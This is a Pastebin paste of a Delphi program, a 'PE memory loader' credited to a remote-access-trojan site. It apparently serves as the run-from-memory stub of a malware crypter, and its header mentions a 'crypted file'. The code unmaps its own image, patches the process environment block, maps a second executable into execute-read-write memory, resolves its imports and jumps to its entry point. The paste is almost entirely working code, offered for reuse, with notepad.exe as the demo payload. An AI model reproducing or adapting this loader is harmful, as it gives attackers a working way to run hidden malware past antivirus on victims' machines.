Advertisement
Guest User

Untitled

a guest
Jan 9th, 2010
372
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Delphi 11.85 KB | None | 0 0
  1. program memexe;
  2.  
  3. (*
  4.   PE memory loader by shapeless (100108)
  5.   www.poisonivy-rat.com
  6.  
  7.   Credits:
  8.     * Some of the original code (webexe) by Aphex.
  9.  
  10.     * I used code from BTMemoryModule for the IAT loading;
  11.       http://www.joachim-bauch.de/tutorials/load_dll_memory.html/en/view
  12.  
  13.  
  14.   Pros:
  15.     * No extra processes.
  16.  
  17.   Cons:
  18.     * Only room for one crypted file.
  19.     * Current version only fixes IAT!
  20.  
  21.  
  22.   Todo:
  23.     * Fix more Directories (currently I only fix IAT)!
  24.     * Allocate sections with proper Protection!
  25. *)
  26.  
  27. uses
  28.   windows,
  29.   classes;
  30.  
  31.  
  32. const
  33.   (* for IAT mapping *)
  34.   IMAGE_ORDINAL_FLAG32 = DWORD($80000000);
  35.  
  36. type
  37.   (* for IAT mapping *)
  38.   PImageImportDescriptor = ^TImageImportDescriptor;
  39.   _IMAGE_IMPORT_DESCRIPTOR = packed record
  40.     OriginalFirstThunk: DWORD;
  41.     TimeDateStamp: DWORD;
  42.     ForwarderChain: DWORD;
  43.     Name: DWORD;
  44.     FirstThunk: DWORD;
  45.   end;
  46.   {$EXTERNALSYM _IMAGE_IMPORT_DESCRIPTOR}
  47.   TImageImportDescriptor = _IMAGE_IMPORT_DESCRIPTOR;
  48.   IMAGE_IMPORT_DESCRIPTOR = _IMAGE_IMPORT_DESCRIPTOR;
  49.   {$EXTERNALSYM IMAGE_IMPORT_DESCRIPTOR}
  50.  
  51.   PImageImportByName = ^TImageImportByName;
  52.   _IMAGE_IMPORT_BY_NAME = packed record
  53.     Hint: Word;
  54.     Name: array[0..255] of char;
  55.   end;
  56.   {$EXTERNALSYM _IMAGE_IMPORT_BY_NAME}
  57.   TImageImportByName = _IMAGE_IMPORT_BY_NAME;
  58.   IMAGE_IMPORT_BY_NAME = _IMAGE_IMPORT_BY_NAME;
  59.   {$EXTERNALSYM IMAGE_IMPORT_BY_NAME}
  60.  
  61.  
  62.   PThreadData = ^TThreadData;
  63.   TThreadData = record
  64.  
  65.     (* synchronization *)
  66.     mainThreadID: dword;
  67.     mainBaseAddr: pointer;
  68.  
  69.     (* the pe to load *)
  70.     pDosHdr: PImageDosHeader;
  71.     dwImageSize: dword;
  72.  
  73.     (* api references *)
  74.     LoadLibrary: function(lpLibFileName: PChar): HMODULE; stdcall;
  75.     GetProcAddress: function( hModule: HMODULE;
  76.                               lpProcName: LPCSTR): FARPROC; stdcall;
  77.     OpenThread: function( dwDesiredAccess: dword;
  78.                           bInheritHandle: bool;
  79.                           dwThreadId: dword): dword; stdcall;
  80.     WaitForSingleObject: function(hHandle: THandle;
  81.                                   dwMilliseconds: DWORD): DWORD; stdcall;
  82.     CloseHandle: function(hObject: THandle): BOOL; stdcall;
  83.     UnmapViewOfFile: function(lpBaseAddress: Pointer): BOOL; stdcall;
  84.     VirtualAlloc: function( lpvAddress: Pointer;
  85.                             dwSize,
  86.                             flAllocationType,
  87.                             flProtect: DWORD): Pointer; stdcall;
  88.     VirtualFree: function(lpAddress: Pointer;
  89.                           dwSize,
  90.                           dwFreeType: DWORD): BOOL; stdcall;
  91.     RtlMoveMemory: procedure( pDest,
  92.                               pSource: pointer;
  93.                               dwLength: dword); stdcall;
  94.   end;
  95.  
  96.  
  97. (* this stub must be relocatable! *)
  98. procedure loader_stub(ptd: PThreadData); stdcall;
  99. var
  100.   hMainThread: THandle;
  101.   pNTHdr: PImageNtHeaders;
  102.   newImageBase,
  103.   newEP: pointer;
  104.  
  105.   libHandle: THandle;
  106.   pdThunkRef,
  107.   pdFuncRef: ^DWORD;
  108.  
  109.   pImportDirectory: PImageDataDirectory;
  110.   pImportDescriptor: PImageImportDescriptor;
  111.   pThunkData: PImageImportByName;
  112. begin
  113.   with ptd^ do
  114.   begin
  115.   (*
  116.     --debug
  117.     asm
  118.       int 3
  119.     end;
  120.   *)
  121.  
  122.     (*
  123.       wait for the main thread to exit before we
  124.       free the memory
  125.     *)
  126.     hMainThread := OpenThread(SYNCHRONIZE, false, mainThreadID);
  127.     if hMainThread <> 0 then
  128.     begin
  129.       WaitForSingleObject(hMainThread, INFINITE);
  130.       CloseHandle(hMainThread);
  131.     end;
  132.  
  133.     (*
  134.       unmap the original PE.
  135.     *)
  136.     if UnmapViewOfFile(mainBaseAddr) then
  137.     begin
  138.       pNTHdr := PImageNtHeaders(integer(pDosHdr) + pDosHdr^._lfanew);
  139.  
  140.       (*
  141.         Set new imagebase.
  142.         Delphi inline asm cant handle
  143.         structure references (store imgbase
  144.         in local var).
  145.       *)
  146.       newImageBase := pointer(pNTHdr^.OptionalHeader.ImageBase);
  147.       asm
  148.         (*
  149.           See disassembly of GetModuleHandle(0).
  150.         *)
  151.         // get addr of PEB
  152.         mov eax,fs:[30h]
  153.         mov ecx,newImageBase
  154.         // assign the new imagebase
  155.         mov [eax+8],ecx
  156.       end;
  157.  
  158.       (*
  159.         TODO: Fix section protection!
  160.       *)
  161.       VirtualAlloc( newImageBase,
  162.                     dwImageSize,
  163.                     MEM_RESERVE or MEM_COMMIT,
  164.                     PAGE_EXECUTE_READWRITE);
  165.  
  166.       RtlMoveMemory(newImageBase, pDosHdr, dwImageSize);
  167.  
  168.  
  169.       (* lets start working on the live PE *)
  170.       pNTHdr := PImageNtHeaders(  dword(newImageBase) +
  171.                                   dword(PImageDosHeader(newImageBase)^._lfanew));
  172.  
  173.       (* fix IAT *)
  174.       pImportDirectory := PImageDataDirectory(@pNTHdr^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]);
  175.       if pImportDirectory^.Size > 0 then
  176.       begin
  177.         pImportDescriptor := PImageImportDescriptor(dword(newImageBase) + pImportDirectory^.VirtualAddress);
  178.  
  179.         while (pImportDescriptor^.Name <> 0) do
  180.         begin
  181.           libHandle := LoadLibrary(PChar(dword(newImageBase) + pImportDescriptor^.Name));
  182.           if libHandle <> INVALID_HANDLE_VALUE then
  183.           begin
  184.  
  185.             if pImportDescriptor^.OriginalFirstThunk <> 0 then
  186.             begin
  187.               pdThunkRef := Pointer(dword(newImageBase) +
  188.                                     pImportDescriptor^.OriginalFirstThunk);
  189.               pdFuncRef := Pointer(dword(newImageBase) +
  190.                                     pImportDescriptor^.FirstThunk);
  191.             end else
  192.             begin
  193.               // no hint table
  194.               pdThunkRef := Pointer(dword(newImageBase) +
  195.                                     pImportDescriptor^.FirstThunk);
  196.               pdFuncRef := Pointer(dword(newImageBase) +
  197.                                     pImportDescriptor^.FirstThunk);
  198.             end;
  199.  
  200.             while pdThunkRef^ <> 0 do
  201.             begin
  202.               if ((pdThunkRef^ and IMAGE_ORDINAL_FLAG32) <> 0) then
  203.               begin
  204.                 pdFuncRef^ := dword(GetProcAddress(libHandle,
  205.                                     PChar(pdThunkRef^ and $FFFF)));
  206.               end else
  207.               begin
  208.                 pThunkData := PImageImportByName(dword(newImageBase) + pdThunkRef^);
  209.  
  210.                 pdFuncRef^ := dword(GetProcAddress(libHandle,
  211.                                     PChar(@(pThunkData^.Name))));
  212.               end;
  213.  
  214.               (* next entry *)
  215.               inc(pdFuncRef);
  216.               inc(pdThunkRef);
  217.             end;
  218.  
  219.             (* next item *)
  220.             inc(pImportDescriptor);
  221.           end; (* if LoadLibr... *)
  222.         end; (* while *)
  223.       end; (* if has IAT *)
  224.  
  225.  
  226.       (* calc new entry point *)
  227.       newEP := Pointer( dword(newImageBase) +
  228.                         pNTHdr^.OptionalHeader.AddressOfEntryPoint);
  229.  
  230.       (* free the temp stuff (except this stub..) *)
  231.       VirtualFree(pDosHdr, 0, MEM_RELEASE);
  232.       VirtualFree(ptd, 0, MEM_RELEASE);
  233.       asm
  234.         // save EP
  235.         mov eax,newEP
  236.  
  237.         // fix stack
  238.         mov esp,ebp
  239.         pop ebp
  240.         jmp eax
  241.  
  242.         (*
  243.           note:
  244.             Next return address on the stack is
  245.             ExitThread(eax);
  246.         *)
  247.       end;
  248.     end; (* unmap *)
  249.   end;
  250. end;
  251. (*
  252.   use this dummy func to calculate the length of the
  253.   loader_stub.
  254. *)
  255. procedure dummy_loader_stub; stdcall; begin end;
  256.  
  257.  
  258.  
  259. procedure execPE(pDosHdr: PImageDosHeader);
  260.   (*
  261.     helper function.
  262.   *)
  263.   function getAlignedSize(dwSize, dwAlignment: dword): dword;
  264.   begin
  265.     if (dwSize mod dwAlignment) = 0 then
  266.       Result := dwSize
  267.     else
  268.       Result := (((dwSize div dwAlignment) +1) *dwAlignment);
  269.   end;
  270.  
  271. var
  272.   ptd: PThreadData;
  273.  
  274.   pNTHdr: PImageNtHeaders;
  275.   pSecHdr,
  276.   pTmpHdr: PImageSectionHeader;
  277.  
  278.   i: integer;
  279.   dwAlignedHdrSize,
  280.   dwSecSize,
  281.   dwThreadID,
  282.   dwLoaderStubSize: dword;
  283.   hThread: THandle;
  284.   ptmp,
  285.   pLoaderStub: pointer;
  286. begin
  287.  
  288.   (* alloc the loader stub *)
  289.   dwLoaderStubSize := dword(@dummy_loader_stub) - dword(@loader_stub);
  290.  
  291.   pLoaderStub := VirtualAlloc(nil,
  292.                               dwLoaderStubSize,
  293.                               MEM_RESERVE or MEM_COMMIT,
  294.                               PAGE_EXECUTE_READWRITE);
  295.  
  296.   CopyMemory( pLoaderStub,
  297.               @loader_stub,
  298.               dwLoaderStubSize);
  299.  
  300.  
  301.   (* alloc and set up the loader stub thread data *)
  302.   ptd := VirtualAlloc(nil,
  303.                       sizeof(ptd^),
  304.                       MEM_RESERVE or MEM_COMMIT,
  305.                       PAGE_READWRITE);
  306.                            
  307.   ptd^.mainThreadID := GetCurrentThreadID;
  308.   ptd^.mainBaseAddr := Pointer(GetModuleHandle(nil));
  309.   ptd^.LoadLibrary := GetProcAddress(GetModuleHandle('kernel32.dll'), 'LoadLibraryA');
  310.   ptd^.GetProcAddress := GetProcAddress(GetModuleHandle('kernel32.dll'), 'GetProcAddress');
  311.   ptd^.OpenThread := GetProcAddress(GetModuleHandle('kernel32.dll'), 'OpenThread');
  312.   ptd^.WaitForSingleObject := GetProcAddress(GetModuleHandle('kernel32.dll'), 'WaitForSingleObject');
  313.   ptd^.CloseHandle := GetProcAddress(GetModuleHandle('kernel32.dll'), 'CloseHandle');
  314.   ptd^.UnmapViewOfFile := GetProcAddress(GetModuleHandle('kernel32.dll'), 'UnmapViewOfFile');
  315.   ptd^.VirtualAlloc := GetProcAddress(GetModuleHandle('kernel32.dll'), 'VirtualAlloc');
  316.   ptd^.VirtualFree := GetProcAddress(GetModuleHandle('kernel32.dll'), 'VirtualFree');
  317.   ptd^.RtlMoveMemory := GetProcAddress(GetModuleHandle('ntdll.dll'), 'RtlMoveMemory');
  318.  
  319.  
  320.   pNTHdr :=  PImageNtHeaders(integer(pDosHdr) + pDosHdr^._lfanew);
  321.  
  322.   (* first section header *)
  323.   pSecHdr := PImageSectionHeader( dword(pNTHdr^.FileHeader.SizeOfOptionalHeader) +
  324.                                   dword(@pNTHdr^.OptionalHeader));
  325.  
  326.   (* get the last section header *)
  327.   pTmpHdr := PImageSectionHeader( dword(pSecHdr) +
  328.                                   dword(pNTHdr^.FileHeader.NumberOfSections-1) * sizeof(pTmpHdr^));
  329.  
  330.  
  331.   (* calculate the image size *)
  332.   ptd^.dwImageSize := getAlignedSize( pTmpHdr^.Misc.VirtualSize +
  333.                                       pTmpHdr^.VirtualAddress,
  334.                                       pNTHdr^.OptionalHeader.SectionAlignment);
  335.  
  336.  
  337.   (* make a temporary copy of the PE *)
  338.   ptd^.pDosHdr := VirtualAlloc( nil,
  339.                                 ptd^.dwImageSize,
  340.                                 MEM_COMMIT,
  341.                                 PAGE_READWRITE);
  342.  
  343.   dwAlignedHdrSize := getAlignedSize( pNTHdr^.OptionalHeader.SizeOfHeaders,
  344.                                       pNTHdr^.OptionalHeader.SectionAlignment);
  345.   CopyMemory( ptd^.pDosHdr,
  346.               pDosHdr,
  347.               dwAlignedHdrSize);
  348.   ptmp := Pointer(dword(ptd^.pDosHdr) + dwAlignedHdrSize);
  349.  
  350.   pTmpHdr := pSecHdr;
  351.   for I := 0 to pNTHdr^.FileHeader.NumberOfSections - 1 do
  352.   begin
  353.  
  354.     if pTmpHdr^.SizeOfRawData > 0 then
  355.     begin
  356.       if pTmpHdr^.Misc.VirtualSize > pTmpHdr^.SizeOfRawData then
  357.         dwSecSize := pTmpHdr^.Misc.VirtualSize
  358.       else
  359.         dwSecSize := pTmpHdr^.SizeOfRawData;
  360.  
  361.       CopyMemory( ptmp,
  362.                   Pointer(dword(pDosHdr) + pTmpHdr^.PointerToRawData),
  363.                   dwSecSize);
  364.     end;
  365.  
  366.     if pTmpHdr^.Misc.VirtualSize > 0 then
  367.     begin
  368.       inc(dword(ptmp),
  369.           getAlignedSize( pTmpHdr^.Misc.VirtualSize,
  370.                           pNTHdr^.OptionalHeader.SectionAlignment)
  371.         );
  372.     end;
  373.  
  374.     inc(pTmpHdr);
  375.   end; (* for loop *)
  376.  
  377.  
  378.   (* execute the loader stub *)
  379.   hThread := CreateThread(nil,
  380.                           0,
  381.                           pLoaderStub,
  382.                           ptd,
  383.                           0,
  384.                           dwThreadID);
  385.   if hThread <> 0 then
  386.   begin
  387.     CloseHandle(hThread);
  388.   end;
  389.  
  390.  
  391.   (* exit main thread *)
  392.   ExitThread(0);
  393. end;
  394.  
  395.  
  396. var
  397.   m: TMemoryStream;
  398.  
  399. begin
  400.   m := TMemoryStream.Create;
  401.   try
  402.     m.LoadFromFile('C:\windows\system32\notepad.exe');
  403.                              
  404.     execPE(m.Memory);
  405.   finally
  406.     m.free;
  407.   end;
  408. end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement